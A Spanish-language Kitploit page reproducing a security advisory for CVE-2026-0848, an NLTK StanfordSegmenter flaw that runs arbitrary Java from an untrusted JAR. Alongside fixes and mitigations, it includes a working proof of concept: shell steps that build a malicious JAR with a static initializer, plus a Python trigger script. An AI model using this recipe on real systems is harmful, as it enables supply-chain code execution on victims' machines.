Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos sin verificación ni sandboxing. Si un atacante puede proporcionar o reemplazar el JAR (por ejemplo, una descarga de modelo envenenada, un intercambio de paquete MITM o un envenenamiento de dependencias), se ejecuta bytecode Java arbitrario en el momento de la importación. | Kitploit
Herramientas/GitHubGitHub/hyperps/cve-2026-0848
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad de Cadena de SuministroPapers e InvestigaciónAprendizaje y Educación
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Ver Repositorio
3hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos sin verificación ni sandboxing. Si un atacante puede proporcionar o reemplazar el JAR (por ejemplo, una descarga de modelo envenenada, un intercambio de paquete MITM o un envenenamiento de dependencias), se ejecuta bytecode Java arbitrario en el momento de la importación.

Compartir

CVE-2026-0848 — NLTK StanfordSegmenter: Ejecución de código arbitrario mediante carga de JAR no confiable


Descripción general

CampoDetalles
ID CVECVE-2026-0848
Paquetenltk (Natural Language Toolkit)
RegistroPyPI
Versiones afectadas<= 3.9.2
Tipo de vulnerabilidadCWE-20: Validación de entrada incorrecta
Puntuación CVSS10.0 (Crítica)
Vector de ataqueRed
Complejidad del ataqueBaja
Privilegios requeridosNinguno
Interacción del usuarioNinguna
AlcanceCambiado
Impacto de confidencialidadAlto
Impacto de integridadAlto
Impacto de disponibilidadAlto
Reportado el6 de diciembre de 2025
CVE publicadoMarzo de 2026
Respaldado porPalo Alto Networks / Prisma AIRS

Descripción

nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos mediante subprocess sin realizar ninguna verificación de integridad, comprobación de firmas ni sandboxing. La clase acepta parámetros totalmente controlados por el atacante, incluyendo path_to_jar, path_to_model, path_to_dict y java_class, y los pasa directamente a una invocación java -cp.

Si un atacante puede suministrar o reemplazar el archivo JAR — mediante la descarga de un modelo envenenado, un intercambio de paquete man-in-the-middle, envenenamiento de dependencias o un espejo de distribución corrupto — se ejecuta bytecode de Java arbitrario en tiempo de carga de clases mediante el mecanismo de inicializador estático de la JVM. Esto constituye una vulnerabilidad de ejecución remota de código en la cadena de suministro y escapa por completo del runtime de Python.


Componentes afectados

ArchivoLíneasDescripción
nltk/tokenize/stanford_segmenter.pyL53–L118Acepta path_to_jar, path_to_model, path_to_dict y java_class controlados por el atacante sin ninguna validación
nltk/internals.pyL220–L300Ejecuta Java directamente con la ruta JAR y el classpath controlados por el usuario, sin sandboxing ni verificación de sumas de verificación
nltk/internals.pyL109–L152subprocess.Popen() ejecuta Java con entrada de classpath sin validar, lo que permite a la JVM cargar bytecode arbitrario y ejecutar inicializadores estáticos

Vector CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MétricaValor
Vector de ataqueRed
Complejidad del ataqueBaja
Privilegios requeridosNinguno
Interacción del usuarioNinguna
AlcanceCambiado
ConfidencialidadAlta
IntegridadAlta
DisponibilidadAlta

Impacto

Una explotación exitosa otorga al atacante control total del sistema que ejecuta el proceso de segmentación de NLTK:

  • Ejecución de código Java arbitrario — Cualquier bytecode incrustado en el JAR malicioso se ejecuta con los privilegios del proceso Python/Java
  • Escape del runtime de Python — La ejecución se traslada a la JVM, eludiendo por completo el sandboxing a nivel de Python
  • Ejecución de comandos a nivel de SO — Los atacantes pueden invocar Runtime.getRuntime().exec() o ProcessBuilder para ejecutar comandos shell arbitrarios
  • Robo y modificación de datos — Acceso a todos los archivos, variables de entorno, claves API y secretos legibles por el proceso
  • Compromiso total del entorno — En CI/CD, pipelines de NLP en producción o entornos de servidor, un único JAR malicioso conduce a la toma completa del host

Escenarios de implementación de alto riesgo

EscenarioImpacto
Un investigador de ML carga un segmentador preentrenado desde internetEl atacante remoto obtiene ejecución de código
Una organización descarga un ZIP de modelo de segmentación chino corruptoEl malware se ejecuta dentro del pipeline de NLP en producción
El servidor de CI/CD instala el modelo mediante wget/unzip desde un espejo no HTTPSCompromiso total del entorno
Toma de control de dependencias o espejo de distribución envenenadoRCE completa en la cadena de suministro

Esta vulnerabilidad afecta a cualquier flujo de trabajo de NLP que utilice StanfordSegmenter, incluidos chatbots, pipelines de preprocesamiento de LLM, segmentación de conjuntos de datos, clasificación de documentos y servicios de inferencia en producción.


Prueba de concepto

Esta información se proporciona únicamente con fines educativos y defensivos. No pruebe contra sistemas que no le pertenezcan o para los que no tenga autorización explícita.

Paso 1 — Reemplazar el clasificador principal con una clase Java maliciosa

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Paso 2 — Construir el JAR malicioso

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Paso 3 — Activar mediante NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Salida:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Confirmar RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Causa raíz

La vulnerabilidad existe en dos archivos:

stanford_segmenter.py — El constructor de la clase StanfordSegmenter acepta path_to_jar, path_to_model, path_to_dict y java_class como argumentos de cadena simples y los reenvía directamente a la capa de ejecución de Java sin realizar ninguna de las siguientes acciones:

  • Lista blanca de rutas o aplicación de directorios de confianza
  • Verificación SHA-256 o de firma criptográfica del JAR
  • Validación del parámetro java_class contra un conjunto conocido y seguro de nombres de clase

internals.py — El helper java() construye y lanza una llamada a subprocess.Popen() con el classpath proporcionado por el usuario. La JVM carga inmediatamente todas las clases del JAR proporcionado, ejecutando cualquier bloque inicializador estático antes de que se ejecute la lógica de la aplicación. No hay sandbox, ni compuerta de integridad, ni mecanismo para impedir la ejecución de bytecode inyectado.


Corrección

La vulnerabilidad se ha resuelto por completo en el repositorio ascendente de NLTK.

RecursoEnlace
Corrección de seguridad central (todos los CVE)https://github.com/nltk/nltk/pull/3522
PR de corrección inicial del investigadorhttps://github.com/nltk/nltk/pull/3477 (fusionado)

Actualice a una versión parcheada de NLTK en cuanto esté disponible en PyPI.


Mitigación

AcciónDetalles
Actualizar NLTKActualice a una versión posterior a 3.9.2 que contenga la corrección del PR #3522
No usar rutas JAR controladas por el usuarioNunca permita que la entrada del usuario influya en los argumentos path_to_jar, path_to_model o java_class
Verificar la integridad del JARVerifique siempre las sumas de verificación SHA-256 de los archivos JAR descargados contra los hashes oficiales publicados antes de usarlos
Usar solo fuentes HTTPSDescargue modelos y archivos JAR exclusivamente desde fuentes HTTPS oficiales; rechace cualquier HTTP o espejo no verificado
Privilegio mínimoEjecute servicios basados en NLTK bajo un usuario del SO restringido con permisos mínimos de sistema de archivos y red
ContenedorizaciónAísle los servicios de NLP en contenedores Docker o sandboxes similares para limitar el radio de explosión de los exploits basados en JAR
Monitoreo de dependenciasUse una herramienta de análisis de composición de software para detectar dependencias JAR manipuladas o reemplazadas en pipelines de CI/CD

Actualizar mediante pip:

root@kitploit:~
pip install --upgrade nltk

Verificar la versión instalada:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Cronología

FechaEvento
6 de diciembre de 2025Vulnerabilidad reportada a huntr.dev por el investigador hyperps1 (Sarvesh Patil)
Diciembre de 2025Equipo de mantenedores de NLTK notificado a través de huntr.dev
Enero de 2026Los mantenedores de NLTK validaron la vulnerabilidad; se otorgó la recompensa por divulgación
Enero de 2026Asignado CVE-2026-0848
Enero de 2026El PR de corrección #3477 del investigador fue enviado y fusionado
Febrero de 2026Aviso previo a la publicación de 48 horas enviado a los mantenedores de NLTK
Marzo de 2026CVE publicado en NVD y huntr.dev
Marzo de 2026Corrección de seguridad central para todos los CVE fusionada mediante el PR #3522

Referencias

RecursoEnlace
Entrada NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Registro oficial CVEhttps://cve.org/CVERecord?id=CVE-2026-0848
Informe huntr.devhttps://huntr.dev
PR de corrección centralhttps://github.com/nltk/nltk/pull/3522
PR de corrección del investigadorhttps://github.com/nltk/nltk/pull/3477
NLTK en PyPIhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — Ejecución de código arbitrariohttps://owasp.org/www-community/attacks/Code_Injection
OWASP — Ruta de búsqueda no confiablehttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: Validación de entrada incorrectahttps://cwe.mitre.org/data/definitions/20.html
CWE-502: Deserialización de datos no confiableshttps://cwe.mitre.org/data/definitions/502.html

Aviso legal

Este repositorio documenta CVE-2026-0848 estrictamente con fines educativos, de investigación y de seguridad defensiva. El código de prueba de concepto y los detalles técnicos se proporcionan para ayudar a desarrolladores, ingenieros de seguridad y administradores de sistemas a comprender, evaluar y remediar esta vulnerabilidad.

Cualquier uso de esta información para acceder o comprometer sistemas sin autorización explícita es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso de la información contenida en este documento.

Colaboradores: ketanHub

Descargar herramienta